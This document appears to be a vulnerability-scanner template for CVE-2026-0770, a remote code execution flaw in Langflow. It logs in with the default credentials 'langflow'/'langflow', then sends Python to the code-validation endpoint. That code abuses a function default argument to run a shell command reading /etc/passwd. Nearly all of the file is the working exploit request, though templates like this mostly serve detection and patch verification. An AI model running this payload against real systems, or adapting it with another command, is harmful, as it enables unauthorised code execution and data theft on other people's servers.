id: CVE-2026-0770

info:
  name: "Langflow - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution
    Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations
    of Langflow.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-0770&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0770
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev
variables:
  username: "langflow"
  password: "langflow"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "access_token"
          - "token_type"
        condition: and
        internal: true

      - type: word
        part: content_type
        words:
          - "application/json"
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200